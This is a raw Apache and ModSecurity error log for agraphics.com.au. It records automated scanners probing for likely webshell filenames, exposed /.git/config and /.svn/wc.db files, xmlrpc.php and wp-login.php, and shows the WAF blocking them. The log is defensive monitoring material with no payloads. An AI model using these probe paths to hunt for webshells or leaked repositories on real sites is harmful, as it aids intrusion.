[Thu Nov 20 16:18:34.325912 2025] [:error] [pid 34405:tid 34425] [client 20.27.30.201:4088] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "aR7O2jFpvu8oRK7ATfv71QAAARI"]
[Thu Nov 20 16:18:36.454993 2025] [:error] [pid 34405:tid 34421] [client 20.27.30.201:4078] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "aR7O3DFpvu8oRK7ATfv73AAAAQ4"]
[Thu Nov 20 16:18:38.982653 2025] [:error] [pid 40415:tid 40440] [client 20.27.30.201:3946] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "aR7O3qhjIyLSv09svwOFWAAAAdY"]
[Thu Nov 20 16:18:40.746788 2025] [:error] [pid 34405:tid 34431] [client 20.27.30.201:3785] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "aR7O4DFpvu8oRK7ATfv79wAAARg"]
[Thu Nov 20 16:18:41.421686 2025] [proxy_fcgi:error] [pid 55430:tid 55445] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:41.634825 2025] [proxy_fcgi:error] [pid 55430:tid 55439] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:41.753853 2025] [proxy_fcgi:error] [pid 55430:tid 55444] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:41.874785 2025] [proxy_fcgi:error] [pid 55430:tid 55441] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:42.200247 2025] [proxy_fcgi:error] [pid 55430:tid 55442] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:42.316763 2025] [proxy_fcgi:error] [pid 55430:tid 55449] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:42.622001 2025] [proxy_fcgi:error] [pid 55430:tid 55433] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:42.740452 2025] [proxy_fcgi:error] [pid 55430:tid 55446] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:42.947651 2025] [proxy_fcgi:error] [pid 55430:tid 55437] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:18:43.065851 2025] [proxy_fcgi:error] [pid 55430:tid 55450] [client 20.27.30.201:3874] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 22:53:37.069826 2025] [:error] [pid 40445:tid 40489] [client 213.21.239.4:40432] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aR8rcVH-MuFcoWRjXpawCAAAAk4"]
[Fri Nov 21 06:06:54.943480 2025] [:error] [pid 13325:tid 13349] [client 103.166.244.205:9377] [client 103.166.244.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.244.205, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aR-Q_iBUXj9tD75On3CsTQAAABM"]
[Fri Nov 21 06:06:54.954985 2025] [proxy_fcgi:error] [pid 13325:tid 13349] [client 103.166.244.205:9377] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 11:52:42.615561 2025] [proxy_fcgi:error] [pid 13412:tid 13430] [client 141.98.10.131:60463] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 11:53:39.957932 2025] [proxy_fcgi:error] [pid 46237:tid 46256] [client 141.98.10.131:52252] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 13:50:08.490262 2025] [proxy_fcgi:error] [pid 13326:tid 13371] [client 145.239.10.137:51848] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/natural.php
[Fri Nov 21 14:21:38.566607 2025] [:error] [pid 13326:tid 13381] [client 213.21.239.4:43268] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSAE8th942-HkDIkOWp3lAAAAFc"]
[Fri Nov 21 15:01:35.159297 2025] [:error] [pid 25554:tid 25562] [client 213.21.239.4:57834] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSAOTx-NtB-9AzFZrk4c3QAAAQQ"]
[Fri Nov 21 15:20:52.407762 2025] [:error] [pid 25431:tid 25496] [client 213.21.239.4:50536] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAS1MklhXxmoIExII0QxAAAAIk"]
[Fri Nov 21 16:00:36.883113 2025] [:error] [pid 25554:tid 25563] [client 213.21.239.4:44256] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAcJB-NtB-9AzFZrk5TDgAAAQU"]
[Fri Nov 21 18:45:32.880930 2025] [:error] [pid 25554:tid 25560] [client 104.28.240.82:14895] [client 104.28.240.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.240.82, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSBCzB-NtB-9AzFZrk6L0QAAAQI"]
[Fri Nov 21 18:45:32.905633 2025] [proxy_fcgi:error] [pid 25554:tid 25560] [client 104.28.240.82:14895] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 20:17:07.064467 2025] [:error] [pid 25521:tid 25535] [client 173.239.254.58:23447] [client 173.239.254.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.58, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSBYQ_hXnBMilDddn3VEJQAAAMw"]
[Fri Nov 21 20:17:07.076700 2025] [proxy_fcgi:error] [pid 25521:tid 25535] [client 173.239.254.58:23447] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.359993 2025] [proxy_fcgi:error] [pid 49641:tid 49835] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.477332 2025] [proxy_fcgi:error] [pid 49641:tid 49838] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.597314 2025] [proxy_fcgi:error] [pid 49641:tid 49841] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.714322 2025] [proxy_fcgi:error] [pid 49641:tid 49836] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.855447 2025] [proxy_fcgi:error] [pid 49641:tid 49827] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:19.972035 2025] [proxy_fcgi:error] [pid 49641:tid 49831] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:20.088898 2025] [proxy_fcgi:error] [pid 49641:tid 49842] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:20.211451 2025] [proxy_fcgi:error] [pid 49641:tid 49845] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:20.379696 2025] [proxy_fcgi:error] [pid 49641:tid 49844] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:21.780967 2025] [proxy_fcgi:error] [pid 49641:tid 49833] [client 48.210.84.77:9191] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:31:21.970282 2025] [:error] [pid 49641:tid 49830] [client 48.210.84.77:9191] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aSCh6VnhuiDak938N_a6sAAAAAc"]
[Sat Nov 22 01:31:22.268422 2025] [:error] [pid 49642:tid 49896] [client 48.210.84.77:9207] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aSCh6oOXTPSuQfgUUtWSZgAAAIU"]
[Sat Nov 22 01:31:22.576049 2025] [:error] [pid 9180:tid 9192] [client 48.210.84.77:9162] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aSCh6rrk9msixUFV2i-XxwAAAEo"]
[Sat Nov 22 01:31:22.908532 2025] [:error] [pid 50057:tid 50070] [client 48.210.84.77:9103] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aSCh6lb9j9fTBoI0sRVMmAAAAQs"]
[Sat Nov 22 01:31:23.162602 2025] [:error] [pid 50057:tid 50062] [client 48.210.84.77:9170] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSCh61b9j9fTBoI0sRVMmQAAAQM"]
[Sat Nov 22 01:31:23.414271 2025] [:error] [pid 9180:tid 9196] [client 48.210.84.77:9206] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSCh67rk9msixUFV2i-XywAAAE4"]
[Sat Nov 22 01:31:23.720734 2025] [:error] [pid 9180:tid 9182] [client 48.210.84.77:9166] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSCh67rk9msixUFV2i-XzQAAAEA"]
[Sat Nov 22 01:31:24.037367 2025] [:error] [pid 9180:tid 9197] [client 48.210.84.77:9106] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aSCh7Lrk9msixUFV2i-X0AAAAE8"]
[Sat Nov 22 01:31:24.284768 2025] [:error] [pid 9180:tid 9202] [client 48.210.84.77:9192] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aSCh7Lrk9msixUFV2i-X0QAAAFQ"]
[Sat Nov 22 01:31:24.616475 2025] [:error] [pid 49643:tid 49930] [client 48.210.84.77:9186] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aSCh7JwUojIRHhF_fj-QdgAAAMo"]
[Sat Nov 22 01:31:24.853302 2025] [:error] [pid 49643:tid 49936] [client 48.210.84.77:9092] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aSCh7JwUojIRHhF_fj-QeAAAANA"]
[Sat Nov 22 01:31:25.223385 2025] [:error] [pid 49641:tid 49827] [client 48.210.84.77:9213] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aSCh7VnhuiDak938N_a6vQAAAAQ"]
[Sat Nov 22 01:31:25.467268 2025] [:error] [pid 49642:tid 49902] [client 48.210.84.77:9205] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unwattled.php"] [unique_id "aSCh7YOXTPSuQfgUUtWSgwAAAIs"]
[Sat Nov 22 01:31:25.705322 2025] [:error] [pid 49642:tid 49903] [client 48.210.84.77:9182] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unwattled.php"] [unique_id "aSCh7YOXTPSuQfgUUtWShAAAAIw"]
[Sat Nov 22 01:31:25.966761 2025] [:error] [pid 49642:tid 49898] [client 48.210.84.77:9105] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unwattled.php"] [unique_id "aSCh7YOXTPSuQfgUUtWShQAAAIc"]
[Sat Nov 22 01:31:26.193768 2025] [:error] [pid 49642:tid 49895] [client 48.210.84.77:9190] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unwattled.php"] [unique_id "aSCh7oOXTPSuQfgUUtWShgAAAIQ"]
[Sat Nov 22 01:31:26.528811 2025] [:error] [pid 49642:tid 49909] [client 48.210.84.77:9095] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSCh7oOXTPSuQfgUUtWSiQAAAJI"]
[Sat Nov 22 01:31:26.762746 2025] [:error] [pid 50057:tid 50060] [client 48.210.84.77:9203] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSCh7lb9j9fTBoI0sRVMnQAAAQE"]
[Sat Nov 22 01:31:26.992367 2025] [:error] [pid 49643:tid 49919] [client 48.210.84.77:9184] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSCh7pwUojIRHhF_fj-QfwAAAMA"]
[Sat Nov 22 01:31:27.220325 2025] [:error] [pid 50057:tid 50061] [client 48.210.84.77:9136] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSCh71b9j9fTBoI0sRVMnwAAAQI"]
[Sat Nov 22 01:31:27.470946 2025] [:error] [pid 9180:tid 9196] [client 48.210.84.77:9098] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSCh77rk9msixUFV2i-X3gAAAE4"]
[Sat Nov 22 01:31:27.708610 2025] [:error] [pid 49642:tid 49894] [client 48.210.84.77:9099] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSCh74OXTPSuQfgUUtWSjAAAAIM"]
[Sat Nov 22 01:31:27.948438 2025] [:error] [pid 9180:tid 9182] [client 48.210.84.77:9157] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSCh77rk9msixUFV2i-X4QAAAEA"]
[Sat Nov 22 01:31:28.180041 2025] [:error] [pid 49641:tid 49830] [client 48.210.84.77:9027] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSCh8FnhuiDak938N_a6wwAAAAc"]
[Sat Nov 22 01:31:28.446210 2025] [:error] [pid 9180:tid 9194] [client 48.210.84.77:9094] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aSCh8Lrk9msixUFV2i-X4gAAAEw"]
[Sat Nov 22 01:31:28.682006 2025] [:error] [pid 49643:tid 49943] [client 48.210.84.77:9121] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aSCh8JwUojIRHhF_fj-QgQAAANc"]
[Sat Nov 22 01:31:28.926884 2025] [:error] [pid 9180:tid 9197] [client 48.210.84.77:9112] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aSCh8Lrk9msixUFV2i-X5AAAAE8"]
[Sat Nov 22 01:31:29.168959 2025] [:error] [pid 9180:tid 9202] [client 48.210.84.77:9184] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aSCh8brk9msixUFV2i-X5gAAAFQ"]
[Sat Nov 22 01:31:29.429481 2025] [:error] [pid 50057:tid 50079] [client 48.210.84.77:9212] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aSCh8Vb9j9fTBoI0sRVMogAAARQ"]
[Sat Nov 22 01:31:29.666703 2025] [:error] [pid 49642:tid 49915] [client 48.210.84.77:9189] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aSCh8YOXTPSuQfgUUtWSjwAAAJg"]
[Sat Nov 22 01:31:29.937355 2025] [:error] [pid 49643:tid 49923] [client 48.210.84.77:9093] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aSCh8ZwUojIRHhF_fj-QggAAAMQ"]
[Sat Nov 22 01:31:30.193337 2025] [:error] [pid 9180:tid 9190] [client 48.210.84.77:9178] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aSCh8rrk9msixUFV2i-X6gAAAEg"]
[Sat Nov 22 01:31:30.431370 2025] [:error] [pid 50057:tid 50073] [client 48.210.84.77:9211] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aSCh8lb9j9fTBoI0sRVMpAAAAQ4"]
[Sat Nov 22 01:31:30.708353 2025] [:error] [pid 49642:tid 49896] [client 48.210.84.77:9195] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aSCh8oOXTPSuQfgUUtWSkgAAAIU"]
[Sat Nov 22 01:31:31.038059 2025] [:error] [pid 9180:tid 9203] [client 48.210.84.77:9202] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aSCh87rk9msixUFV2i-X7AAAAFU"]
[Sat Nov 22 01:31:31.284257 2025] [:error] [pid 50057:tid 50081] [client 48.210.84.77:9171] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aSCh81b9j9fTBoI0sRVMpgAAARY"]
[Sat Nov 22 01:31:31.603177 2025] [:error] [pid 9180:tid 9205] [client 48.210.84.77:9156] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diesinker.php"] [unique_id "aSCh87rk9msixUFV2i-X7gAAAFc"]
